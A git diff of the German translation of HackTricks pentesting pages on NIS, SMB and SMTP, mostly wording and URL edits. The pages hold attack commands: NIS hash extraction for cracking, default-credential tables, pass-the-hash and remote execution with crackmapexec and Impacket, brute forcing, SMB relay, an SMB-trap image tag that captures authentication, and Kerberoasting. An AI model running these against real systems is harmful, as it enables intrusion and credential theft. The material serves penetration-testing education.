(`apt-get install nis`). Der nächste Schritt erfordert die Verwendung von `ypwhich`, um die Anwesenheit des NIS-Servers zu bestätigen, indem er mit dem Domainnamen und der Server-IP angepingt wird, wobei sichergestellt wird, dass diese Elemente aus Sicherheitsgründen anonymisiert sind. +Die Erkundungsreise beginnt mit der Installation der erforderlichen Pakete (`apt-get install nis`). Der nächste Schritt erfordert die Verwendung von `ypwhich`, um die Anwesenheit des NIS-Servers zu bestätigen, indem er mit dem Domainnamen und der Server-IP angepingt wird, wobei diese Elemente aus Sicherheitsgründen anonymisiert werden. Der letzte und entscheidende Schritt umfasst den Befehl `ypcat`, um sensible Daten, insbesondere verschlüsselte Benutzerpasswörter, zu extrahieren. Diese Hashes, die mit Tools wie **John the Ripper** geknackt werden, geben Einblicke in den Systemzugang und die Berechtigungen. ```bash @@ -51,12 +51,12 @@ ypcat –d –h passwd.byname ``` ### NIF-Dateien -| **Master-Datei** | **Karte(n)** | **Hinweise** | -| ------------------ | ----------------------------- | ------------------------------------ | -| /etc/hosts | hosts.byname, hosts.byaddr | Enthält Hostnamen und IP-Details | -| /etc/passwd | passwd.byname, passwd.byuid | NIS-Benutzerpasswortdatei | +| **Master-Datei** | **Karte(n)** | **Notizen** | +| ------------------ | ----------------------------- | ----------------------------------- | +| /etc/hosts | hosts.byname, hosts.byaddr | Enthält Hostnamen und IP-Details | +| /etc/passwd | passwd.byname, passwd.byuid | NIS-Benutzerpasswortdatei | | /etc/group | group.byname, group.bygid | NIS-Gruppendatei | -| /usr/lib/aliases | mail.aliases | Details zu Mail-Aliasen | +| /usr/lib/aliases | mail.aliases | Details zu Mail-Aliasen | ## RPC-Benutzer @@ -90,7 +90,7 @@ Description: Notes for PortMapper Note: | Portmapper is a service that is utilized for mapping network service ports to RPC (Remote Procedure Call) program numbers. It acts as a critical component in Unix-based systems, facilitating the exchange of information between these systems. The port associated with Portmapper is frequently scanned by attackers as it can reveal valuable information. This information includes the type of Unix Operating System (OS) running and details about the services that are available on the system. Additionally, Portmapper is commonly used in conjunction with NFS (Network File System), NIS (Network Information Service), and other RPC-based services to manage network services effectively. -https://book.hacktricks.xyz/pentesting/pentesting-rpcbind +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rpcbind.html Entry_2: Name: rpc info diff --git a/src/network-services-pentesting/pentesting-smb.md b/src/network-services-pentesting/pentesting-smb.md index c3dbd19b0..53e6bb467 100644 --- a/src/network-services-pentesting/pentesting-smb.md +++ b/src/network-services-pentesting/pentesting-smb.md @@ -4,7 +4,7 @@ ## **Port 139** -Das _**Network Basic Input Output System**_** (NetBIOS)** ist ein Softwareprotokoll, das entwickelt wurde, um Anwendungen, PCs und Desktops innerhalb eines lokalen Netzwerks (LAN) zu ermöglichen, mit Netzwerkhardware zu interagieren und **die Übertragung von Daten über das Netzwerk zu erleichtern**. Die Identifizierung und Lokalisierung von Softwareanwendungen, die in einem NetBIOS-Netzwerk betrieben werden, erfolgt über ihre NetBIOS-Namen, die bis zu 16 Zeichen lang sein können und oft vom Computernamen abweichen. Eine NetBIOS-Sitzung zwischen zwei Anwendungen wird initiiert, wenn eine Anwendung (die als Client fungiert) einen Befehl ausgibt, um eine andere Anwendung (die als Server fungiert) über **TCP Port 139** "anzurufen". +Das _**Network Basic Input Output System**_** (NetBIOS)** ist ein Softwareprotokoll, das entwickelt wurde, um Anwendungen, PCs und Desktops innerhalb eines lokalen Netzwerks (LAN) zu ermöglichen, mit Netzwerkhardware zu interagieren und **die Übertragung von Daten über das Netzwerk zu erleichtern**. Die Identifizierung und Lokalisierung von Softwareanwendungen, die in einem NetBIOS-Netzwerk betrieben werden, erfolgt über ihre NetBIOS-Namen, die bis zu 16 Zeichen lang sein können und oft von dem Computernamen abweichen. Eine NetBIOS-Sitzung zwischen zwei Anwendungen wird initiiert, wenn eine Anwendung (die als Client fungiert) einen Befehl ausgibt, um eine andere Anwendung (die als Server fungiert) über **TCP Port 139** "anzurufen". ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` @@ -18,21 +18,21 @@ Zum Beispiel wird im Kontext von Windows hervorgehoben, dass SMB direkt über TC ``` ### SMB -Das **Server Message Block (SMB)** Protokoll, das in einem **Client-Server** Modell arbeitet, ist dafür ausgelegt, **Zugriff auf Dateien**, Verzeichnisse und andere Netzwerkressourcen wie Drucker und Router zu regeln. Primär innerhalb der **Windows** Betriebssystemreihe genutzt, gewährleistet SMB die Abwärtskompatibilität, sodass Geräte mit neueren Versionen von Microsofts Betriebssystem nahtlos mit solchen interagieren können, die ältere Versionen ausführen. Darüber hinaus bietet das **Samba** Projekt eine kostenlose Softwarelösung, die die Implementierung von SMB auf **Linux** und Unix-Systemen ermöglicht und somit die plattformübergreifende Kommunikation über SMB erleichtert. +Das **Server Message Block (SMB)** Protokoll, das im **Client-Server**-Modell arbeitet, ist dafür ausgelegt, **Zugriff auf Dateien**, Verzeichnisse und andere Netzwerkressourcen wie Drucker und Router zu regeln. Es wird hauptsächlich innerhalb der **Windows**-Betriebssystemreihe verwendet und gewährleistet die Abwärtskompatibilität, sodass Geräte mit neueren Versionen von Microsofts Betriebssystem nahtlos mit solchen interagieren können, die ältere Versionen ausführen. Darüber hinaus bietet das **Samba**-Projekt eine kostenlose Softwarelösung, die die Implementierung von SMB auf **Linux**- und Unix-Systemen ermöglicht und so die plattformübergreifende Kommunikation über SMB erleichtert. -Freigaben, die **willkürliche Teile des lokalen Dateisystems** repräsentieren, können von einem SMB-Server bereitgestellt werden, wodurch die Hierarchie für einen Client teilweise **unabhängig** von der tatsächlichen Struktur des Servers sichtbar wird. Die **Access Control Lists (ACLs)**, die **Zugriffsrechte** definieren, ermöglichen eine **feingranulare Kontrolle** über Benutzerberechtigungen, einschließlich Attribute wie **`execute`**, **`read`** und **`full access`**. Diese Berechtigungen können einzelnen Benutzern oder Gruppen basierend auf den Freigaben zugewiesen werden und sind von den lokalen Berechtigungen, die auf dem Server festgelegt sind, zu unterscheiden. +Freigaben, die **willkürliche Teile des lokalen Dateisystems** darstellen, können von einem SMB-Server bereitgestellt werden, wodurch die Hierarchie für einen Client teilweise **unabhängig** von der tatsächlichen Struktur des Servers sichtbar wird. Die **Access Control Lists (ACLs)**, die **Zugriffsrechte** definieren, ermöglichen eine **fein abgestimmte Kontrolle** über Benutzerberechtigungen, einschließlich Attribute wie **`execute`**, **`read`** und **`full access`**. Diese Berechtigungen können einzelnen Benutzern oder Gruppen basierend auf den Freigaben zugewiesen werden und sind von den lokalen Berechtigungen, die auf dem Server festgelegt sind, zu unterscheiden. ### IPC$ Share -Zugriff auf die IPC$ Freigabe kann durch eine anonyme Nullsitzung erlangt werden, die eine Interaktion mit Diensten ermöglicht, die über benannte Pipes bereitgestellt werden. Das Dienstprogramm `enum4linux` ist dafür nützlich. Richtig eingesetzt, ermöglicht es den Erwerb von: +Der Zugriff auf die IPC$-Freigabe kann über eine anonyme Nullsitzung erfolgen, die eine Interaktion mit Diensten ermöglicht, die über benannte Pipes bereitgestellt werden. Das Dienstprogramm `enum4linux` ist dafür nützlich. Richtig verwendet, ermöglicht es den Erwerb von: - Informationen über das Betriebssystem - Details zur übergeordneten Domäne - Eine Zusammenstellung lokaler Benutzer und Gruppen - Informationen über verfügbare SMB-Freigaben -- Die effektive System-Sicherheitsrichtlinie +- Die effektive Systemsicherheitsrichtlinie -Diese Funktionalität ist entscheidend für Netzwerkadministratoren und Sicherheitsfachleute, um die Sicherheitslage der SMB (Server Message Block) Dienste in einem Netzwerk zu bewerten. `enum4linux` bietet einen umfassenden Überblick über die SMB-Umgebung des Zielsystems, was entscheidend ist, um potenzielle Schwachstellen zu identifizieren und sicherzustellen, dass die SMB-Dienste ordnungsgemäß gesichert sind. +Diese Funktionalität ist entscheidend für Netzwerkadministratoren und Sicherheitsfachleute, um die Sicherheitslage der SMB (Server Message Block)-Dienste in einem Netzwerk zu bewerten. `enum4linux` bietet einen umfassenden Überblick über die SMB-Umgebung des Zielsystems, was entscheidend ist, um potenzielle Schwachstellen zu identifizieren und sicherzustellen, dass die SMB-Dienste ordnungsgemäß gesichert sind. ```bash enum4linux -a target_ip ``` @@ -86,10 +86,10 @@ searchsploit microsoft smb | _(leer)_ | _(leer)_ | | gast | _(leer)_ | | Administrator, admin | _(leer)_, passwort, administrator, admin | -| arcserve | arcserve, backup | -| tivoli, tmersrvd | tivoli, tmersrvd, admin | -| backupexec, backup | backupexec, backup, arcada | -| test, lab, demo | passwort, test, lab, demo | +| arcserve | arcserve, backup | +| tivoli, tmersrvd | tivoli, tmersrvd, admin | +| backupexec, backup | backupexec, backup, arcada | +| test, lab, demo | passwort, test, lab, demo | ### Brute Force @@ -197,7 +197,7 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t ``` ### **Manuell Windows-Freigaben auflisten und sich mit ihnen verbinden** -Es kann sein, dass Sie eingeschränkt sind, um Freigaben des Host-Systems anzuzeigen, und wenn Sie versuchen, sie aufzulisten, scheint es, als ob es keine Freigaben gibt, mit denen Sie sich verbinden können. Daher könnte es sich lohnen, zu versuchen, manuell eine Verbindung zu einer Freigabe herzustellen. Um die Freigaben manuell aufzulisten, sollten Sie nach Antworten wie NT_STATUS_ACCESS_DENIED und NT_STATUS_BAD_NETWORK_NAME suchen, wenn Sie eine gültige Sitzung verwenden (z. B. Null-Sitzung oder gültige Anmeldeinformationen). Diese können anzeigen, ob die Freigabe existiert und Sie keinen Zugriff darauf haben oder ob die Freigabe überhaupt nicht existiert. +Es kann sein, dass Sie eingeschränkt sind, um Freigaben des Host-Systems anzuzeigen, und wenn Sie versuchen, sie aufzulisten, scheint es, als ob es keine Freigaben gibt, mit denen Sie sich verbinden können. Daher könnte es sich lohnen, einen Versuch zu starten, sich manuell mit einer Freigabe zu verbinden. Um die Freigaben manuell aufzulisten, sollten Sie nach Antworten wie NT_STATUS_ACCESS_DENIED und NT_STATUS_BAD_NETWORK_NAME suchen, wenn Sie eine gültige Sitzung verwenden (z. B. Null-Sitzung oder gültige Anmeldeinformationen). Diese können anzeigen, ob die Freigabe existiert und Sie keinen Zugriff darauf haben oder ob die Freigabe überhaupt nicht existiert. Häufige Freigabenamen für Windows-Ziele sind @@ -298,19 +298,19 @@ Befehle: (_Informationen aus der Man-Seite von smbclient_) -### Suche nach freigegebenen Ordnern im Domänenbereich +### Suche nach freigegebenen Ordnern im Domänenkontext - [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\* ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` -- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) Spinne. +- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) Spider. - `-M spider_plus [--share ]` - `--pattern txt` ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -Besonders interessant sind von Freigaben die Dateien **`Registry.xml`**, da sie **Passwörter** für Benutzer enthalten können, die über **Autologon** über Gruppenrichtlinien konfiguriert sind. Oder **`web.config`**-Dateien, da sie Anmeldeinformationen enthalten. +Besonders interessant von Freigaben sind die Dateien **`Registry.xml`**, da sie **Passwörter** für Benutzer enthalten können, die über **autologon** über Gruppenrichtlinien konfiguriert sind. Oder **`web.config`**-Dateien, da sie Anmeldeinformationen enthalten. > [!NOTE] > Die **SYSVOL-Freigabe** ist für alle authentifizierten Benutzer in der Domäne **lesbar**. Dort können Sie viele verschiedene Batch-, VBScript- und PowerShell-**Skripte** **finden**.\ @@ -318,7 +318,7 @@ Besonders interessant sind von Freigaben die Dateien **`Registry.xml`**, da sie ## Registrierung lesen -Sie können möglicherweise die **Registrierung lesen**, indem Sie einige entdeckte Anmeldeinformationen verwenden. Impacket **`reg.py`** ermöglicht es Ihnen, es zu versuchen: +Möglicherweise können Sie die **Registrierung lesen**, indem Sie einige entdeckte Anmeldeinformationen verwenden. Impacket **`reg.py`** ermöglicht es Ihnen, es zu versuchen: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s @@ -326,7 +326,7 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 ``` ## Post Exploitation -Die **Standardkonfiguration eines** **Samba**-Servers befindet sich normalerweise in `/etc/samba/smb.conf` und könnte einige **gefährliche Konfigurationen** haben: +Die **Standardkonfiguration eines** **Samba**-Servers befindet sich normalerweise in `/etc/samba/smb.conf` und könnte einige **gefährliche Konfigurationen** enthalten: | **Einstellung** | **Beschreibung** | | --------------------------- | ------------------------------------------------------------------ | @@ -343,9 +343,9 @@ Die **Standardkonfiguration eines** **Samba**-Servers befindet sich normalerweis Der Befehl `smbstatus` gibt Informationen über den **Server** und darüber, **wer verbunden ist**. -## Authentifizieren mit Kerberos +## Authentifizierung mit Kerberos -Sie können sich mit **Kerberos** mithilfe der Tools **smbclient** und **rpcclient** **authentifizieren**: +Sie können sich mit **Kerberos** authentifizieren, indem Sie die Tools **smbclient** und **rpcclient** verwenden: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com @@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com ### **crackmapexec** -crackmapexec kann Befehle **ausführen**, indem es eine der **mmcexec, smbexec, atexec, wmiexec** verwendet, wobei **wmiexec** die **Standard**-Methode ist. Sie können angeben, welche Option Sie bevorzugen, mit dem Parameter `--exec-method`: +crackmapexec kann Befehle **ausführen**, indem es eine der **mmcexec, smbexec, atexec, wmiexec** missbraucht, wobei **wmiexec** die **Standard**-Methode ist. Sie können angeben, welche Option Sie bevorzugen, mit dem Parameter `--exec-method`: ```bash apt-get install crackmapexec @@ -378,7 +378,7 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md) -Beide Optionen **erstellen einen neuen Dienst** (unter Verwendung von _\pipe\svcctl_ über SMB) auf der Zielmaschine und nutzen ihn, um **etwas auszuführen** (**psexec** wird eine ausführbare Datei in den ADMIN$-Freigabe **hochladen** und **smbexec** wird auf **cmd.exe/powershell.exe** verweisen und die Argumente die Payload --**file-less technique-**- einfügen).\ +Beide Optionen **erstellen einen neuen Dienst** (unter Verwendung von _\pipe\svcctl_ über SMB) auf der Zielmaschine und nutzen ihn, um **etwas auszuführen** (**psexec** wird eine ausführbare Datei in den ADMIN$-Freigabe **hochladen** und **smbexec** wird auf **cmd.exe/powershell.exe** verweisen und die Argumente mit dem Payload --**file-less technique-**- versehen).\ **Mehr Informationen** über [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)und [**smbexec**](../windows-hardening/ntlm/smbexec.md).\ In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/ ```bash @@ -392,7 +392,7 @@ Mit dem **Parameter** `-k` können Sie sich gegen **Kerberos** anstelle von **NT ### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec -Führen Sie heimlich eine Befehlszeile aus, ohne die Festplatte zu berühren oder einen neuen Dienst über DCOM über **Port 135** auszuführen.\ +Führen Sie stealthy eine Befehlszeile aus, ohne die Festplatte zu berühren oder einen neuen Dienst über DCOM über **Port 135** auszuführen.\ In **Kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted @@ -419,21 +419,21 @@ In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/ [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) -## **Bruteforce-Benutzeranmeldeinformationen** +## **Bruteforce-Benutzerdaten** -**Dies wird nicht empfohlen, da Sie ein Konto sperren könnten, wenn Sie die maximal erlaubte Anzahl an Versuchen überschreiten** +**Dies wird nicht empfohlen, Sie könnten ein Konto sperren, wenn Sie die maximal erlaubte Anzahl an Versuchen überschreiten** ```bash nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ``` ## SMB-Relay-Angriff -Dieser Angriff verwendet das Responder-Toolkit, um **SMB-Authentifizierungssitzungen** in einem internen Netzwerk zu **erfassen** und sie an eine **Zielmaschine** zu **relayen**. Wenn die Authentifizierung **sitzung erfolgreich ist**, werden Sie automatisch in eine **System**-**Shell** geleitet.\ +Dieser Angriff verwendet das Responder-Toolkit, um **SMB-Authentifizierungssitzungen** in einem internen Netzwerk zu **erfassen** und sie an eine **Zielmaschine** zu **relayen**. Wenn die Authentifizierung **sitzung erfolgreich ist**, werden Sie automatisch in eine **System** **Shell** geleitet.\ [**Weitere Informationen zu diesem Angriff hier.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap -Die Windows-Bibliothek URLMon.dll versucht automatisch, sich beim Host zu authentifizieren, wenn eine Seite versucht, über SMB auf einige Inhalte zuzugreifen, zum Beispiel: `img src="\\10.10.10.10\path\image.jpg"` +Die Windows-Bibliothek URLMon.dll versucht automatisch, sich beim Host zu authentifizieren, wenn eine Seite versucht, auf einige Inhalte über SMB zuzugreifen, zum Beispiel: `img src="\\10.10.10.10\path\image.jpg"` Dies geschieht mit den Funktionen: @@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request -https://book.hacktricks.xyz/pentesting/pentesting-smb +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html Entry_2: Name: Enum4Linux diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index f0ff5757b..7232df760 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -4,7 +4,7 @@ ## **Port 139** -Das _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* ist ein Softwareprotokoll, das entwickelt wurde, um Anwendungen, PCs und Desktops innerhalb eines lokalen Netzwerks (LAN) zu ermöglichen, mit Netzwerkhardware zu interagieren und **die Übertragung von Daten über das Netzwerk zu erleichtern**. Die Identifizierung und Lokalisierung von Softwareanwendungen, die in einem NetBIOS-Netzwerk betrieben werden, erfolgt über ihre NetBIOS-Namen, die bis zu 16 Zeichen lang sein können und oft von dem Computernamen abweichen. Eine NetBIOS-Sitzung zwischen zwei Anwendungen wird initiiert, wenn eine Anwendung (die als Client fungiert) einen Befehl ausgibt, um eine andere Anwendung (die als Server fungiert) über **TCP Port 139** "anzurufen". +Das _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* ist ein Softwareprotokoll, das entwickelt wurde, um Anwendungen, PCs und Desktops innerhalb eines lokalen Netzwerks (LAN) zu ermöglichen, mit Netzwerkhardware zu interagieren und **die Übertragung von Daten über das Netzwerk zu erleichtern**. Die Identifizierung und Lokalisierung von Softwareanwendungen, die in einem NetBIOS-Netzwerk betrieben werden, erfolgt über ihre NetBIOS-Namen, die bis zu 16 Zeichen lang sein können und oft vom Computernamen abweichen. Eine NetBIOS-Sitzung zwischen zwei Anwendungen wird initiiert, wenn eine Anwendung (die als Client fungiert) einen Befehl ausgibt, um eine andere Anwendung (die als Server fungiert) über **TCP Port 139** "anzurufen". ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` @@ -18,13 +18,13 @@ Zum Beispiel wird im Kontext von Windows hervorgehoben, dass SMB direkt über TC ``` ### SMB -Das **Server Message Block (SMB)** Protokoll, das im **Client-Server**-Modell arbeitet, ist dafür ausgelegt, **Zugriff auf Dateien**, Verzeichnisse und andere Netzwerkressourcen wie Drucker und Router zu regeln. Es wird hauptsächlich innerhalb der **Windows**-Betriebssystemreihe verwendet und gewährleistet die Abwärtskompatibilität, sodass Geräte mit neueren Versionen von Microsofts Betriebssystem nahtlos mit solchen interagieren können, die ältere Versionen ausführen. Darüber hinaus bietet das **Samba**-Projekt eine kostenlose Softwarelösung, die die Implementierung von SMB auf **Linux**- und Unix-Systemen ermöglicht und so die plattformübergreifende Kommunikation über SMB erleichtert. +Das **Server Message Block (SMB)** Protokoll, das im **Client-Server**-Modell arbeitet, ist dafür ausgelegt, **Zugriff auf Dateien**, Verzeichnisse und andere Netzwerkressourcen wie Drucker und Router zu regeln. Es wird hauptsächlich innerhalb der **Windows**-Betriebssystemreihe verwendet und gewährleistet die Abwärtskompatibilität, sodass Geräte mit neueren Versionen von Microsofts Betriebssystem nahtlos mit solchen interagieren können, die ältere Versionen ausführen. Darüber hinaus bietet das **Samba**-Projekt eine kostenlose Softwarelösung, die die Implementierung von SMB auf **Linux**- und Unix-Systemen ermöglicht und somit die plattformübergreifende Kommunikation über SMB erleichtert. Freigaben, die **willkürliche Teile des lokalen Dateisystems** darstellen, können von einem SMB-Server bereitgestellt werden, wodurch die Hierarchie für einen Client teilweise **unabhängig** von der tatsächlichen Struktur des Servers sichtbar wird. Die **Access Control Lists (ACLs)**, die **Zugriffsrechte** definieren, ermöglichen eine **feingranulare Kontrolle** über Benutzerberechtigungen, einschließlich Attribute wie **`execute`**, **`read`** und **`full access`**. Diese Berechtigungen können einzelnen Benutzern oder Gruppen basierend auf den Freigaben zugewiesen werden und sind von den lokalen Berechtigungen, die auf dem Server festgelegt sind, zu unterscheiden. ### IPC$ Share -Zugriff auf die IPC$-Freigabe kann über eine anonyme Nullsitzung erlangt werden, die eine Interaktion mit Diensten ermöglicht, die über benannte Pipes bereitgestellt werden. Das Dienstprogramm `enum4linux` ist dafür nützlich. Richtig verwendet, ermöglicht es den Erwerb von: +Der Zugriff auf die IPC$-Freigabe kann über eine anonyme Nullsitzung erfolgen, die eine Interaktion mit Diensten ermöglicht, die über benannte Pipes bereitgestellt werden. Das Dienstprogramm `enum4linux` ist dafür nützlich. Richtig verwendet, ermöglicht es den Erwerb von: - Informationen über das Betriebssystem - Details zur übergeordneten Domäne @@ -79,17 +79,17 @@ echo "" && sleep .1 msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb ``` -### **Mögliche** Anmeldeinformationen +### **Mögliche** Anmeldedaten -| **Benutzername(n)** | **Häufige Passwörter** | +| **Benutzername(n)** | **Häufige Passwörter** | | -------------------- | ----------------------------------------- | | _(leer)_ | _(leer)_ | | gast | _(leer)_ | | Administrator, admin | _(leer)_, passwort, administrator, admin | -| arcserve | arcserve, backup | -| tivoli, tmersrvd | tivoli, tmersrvd, admin | -| backupexec, backup | backupexec, backup, arcada | -| test, lab, demo | passwort, test, lab, demo | +| arcserve | arcserve, backup | +| tivoli, tmersrvd | tivoli, tmersrvd, admin | +| backupexec, backup | backupexec, backup, arcada | +| test, lab, demo | passwort, test, lab, demo | ### Brute Force @@ -318,7 +318,7 @@ Besonders interessant von Freigaben sind die Dateien **`Registry.xml`**, da sie ## Registrierung lesen -Möglicherweise können Sie die **Registrierung lesen**, indem Sie einige entdeckte Anmeldeinformationen verwenden. Impacket **`reg.py`** ermöglicht es Ihnen, es zu versuchen: +Sie können möglicherweise die **Registrierung lesen**, indem Sie einige entdeckte Anmeldeinformationen verwenden. Impacket **`reg.py`** ermöglicht es Ihnen, es zu versuchen: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s @@ -326,24 +326,24 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 ``` ## Post Exploitation -Die **Standardkonfiguration von** einem **Samba**-Server befindet sich normalerweise in `/etc/samba/smb.conf` und könnte einige **gefährliche Konfigurationen** haben: +Die **Standardkonfiguration eines** **Samba**-Servers befindet sich normalerweise in `/etc/samba/smb.conf` und könnte einige **gefährliche Konfigurationen** enthalten: -| **Einstellung** | **Beschreibung** | -| -------------------------- | ----------------------------------------------------------------- | -| `browseable = yes` | Erlaubt das Auflisten verfügbarer Freigaben im aktuellen Share? | -| `read only = no` | Verhindert die Erstellung und Modifikation von Dateien? | -| `writable = yes` | Erlaubt Benutzern, Dateien zu erstellen und zu modifizieren? | -| `guest ok = yes` | Erlaubt die Verbindung zum Dienst ohne Verwendung eines Passworts? | -| `enable privileges = yes` | Berücksichtigt Privilegien, die einem bestimmten SID zugewiesen sind? | -| `create mask = 0777` | Welche Berechtigungen müssen den neu erstellten Dateien zugewiesen werden? | -| `directory mask = 0777` | Welche Berechtigungen müssen den neu erstellten Verzeichnissen zugewiesen werden? | -| `logon script = script.sh`| Welches Skript muss beim Login des Benutzers ausgeführt werden? | -| `magic script = script.sh`| Welches Skript sollte ausgeführt werden, wenn das Skript geschlossen wird? | -| `magic output = script.out`| Wo muss die Ausgabe des magischen Skripts gespeichert werden? | +| **Einstellung** | **Beschreibung** | +| --------------------------- | ------------------------------------------------------------------ | +| `browseable = yes` | Erlaubt das Auflisten verfügbarer Freigaben im aktuellen Share? | +| `read only = no` | Verhindert die Erstellung und Modifikation von Dateien? | +| `writable = yes` | Erlaubt Benutzern, Dateien zu erstellen und zu modifizieren? | +| `guest ok = yes` | Erlaubt die Verbindung zum Dienst ohne Verwendung eines Passworts? | +| `enable privileges = yes` | Berücksichtigt Privilegien, die einem bestimmten SID zugewiesen sind? | +| `create mask = 0777` | Welche Berechtigungen müssen den neu erstellten Dateien zugewiesen werden? | +| `directory mask = 0777` | Welche Berechtigungen müssen den neu erstellten Verzeichnissen zugewiesen werden? | +| `logon script = script.sh` | Welches Skript muss beim Login des Benutzers ausgeführt werden? | +| `magic script = script.sh` | Welches Skript sollte ausgeführt werden, wenn das Skript geschlossen wird? | +| `magic output = script.out` | Wo muss die Ausgabe des magischen Skripts gespeichert werden? | Der Befehl `smbstatus` gibt Informationen über den **Server** und darüber, **wer verbunden ist**. -## Authenticate using Kerberos +## Authentifizierung mit Kerberos Sie können sich mit **Kerberos** authentifizieren, indem Sie die Tools **smbclient** und **rpcclient** verwenden: ```bash @@ -419,7 +419,7 @@ In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/ [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) -## **Bruteforce-Benutzeranmeldeinformationen** +## **Bruteforce-Benutzerdaten** **Dies wird nicht empfohlen, Sie könnten ein Konto sperren, wenn Sie die maximal erlaubte Anzahl an Versuchen überschreiten** ```bash @@ -433,7 +433,7 @@ Dieser Angriff verwendet das Responder-Toolkit, um **SMB-Authentifizierungssitzu ## SMB-Trap -Die Windows-Bibliothek URLMon.dll versucht automatisch, sich beim Host zu authentifizieren, wenn eine Seite versucht, auf Inhalte über SMB zuzugreifen, zum Beispiel: `img src="\\10.10.10.10\path\image.jpg"` +Die Windows-Bibliothek URLMon.dll versucht automatisch, sich beim Host zu authentifizieren, wenn eine Seite versucht, über SMB auf einige Inhalte zuzugreifen, zum Beispiel: `img src="\\10.10.10.10\path\image.jpg"` Dies geschieht mit den Funktionen: @@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request -https://book.hacktricks.xyz/pentesting/pentesting-smb +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html Entry_2: Name: Enum4Linux diff --git a/src/network-services-pentesting/pentesting-smtp/README.md b/src/network-services-pentesting/pentesting-smtp/README.md index b6d2dddcd..82dfd0982 100644 --- a/src/network-services-pentesting/pentesting-smtp/README.md +++ b/src/network-services-pentesting/pentesting-smtp/README.md @@ -15,7 +15,7 @@ PORT STATE SERVICE REASON VERSION ``` ### EMAIL-Header -Wenn Sie die Möglichkeit haben, **das Opfer dazu zu bringen, Ihnen eine E-Mail zu senden** (zum Beispiel über das Kontaktformular der Webseite), tun Sie dies, denn **Sie könnten über die interne Topologie** des Opfers lernen, indem Sie die Header der E-Mail ansehen. +Wenn Sie die Möglichkeit haben, **das Opfer dazu zu bringen, Ihnen eine E-Mail zu senden** (zum Beispiel über das Kontaktformular der Webseite), tun Sie dies, denn **Sie könnten über die internen Topologie** des Opfers lernen, indem Sie die Header der E-Mail ansehen. Sie können auch eine E-Mail von einem SMTP-Server erhalten, indem Sie versuchen, **eine E-Mail an eine nicht existierende Adresse an diesen Server zu senden** (da der Server dem Angreifer eine NDN-E-Mail senden wird). Stellen Sie jedoch sicher, dass Sie die E-Mail von einer erlaubten Adresse senden (überprüfen Sie die SPF-Richtlinie) und dass Sie NDN-Nachrichten empfangen können. @@ -62,7 +62,7 @@ Oder **automatisieren** Sie dies mit dem **nmap**-Plugin `smtp-ntlm-info.nse` ### Interner Servername - Informationsoffenlegung -Einige SMTP-Server vervollständigen automatisch die Adresse eines Absenders, wenn der Befehl "MAIL FROM" ohne vollständige Adresse ausgegeben wird, und geben ihren internen Namen preis: +Einige SMTP-Server vervollständigen automatisch die Adresse eines Absenders, wenn der Befehl "MAIL FROM" ohne eine vollständige Adresse ausgegeben wird, und geben ihren internen Namen preis: ``` 220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 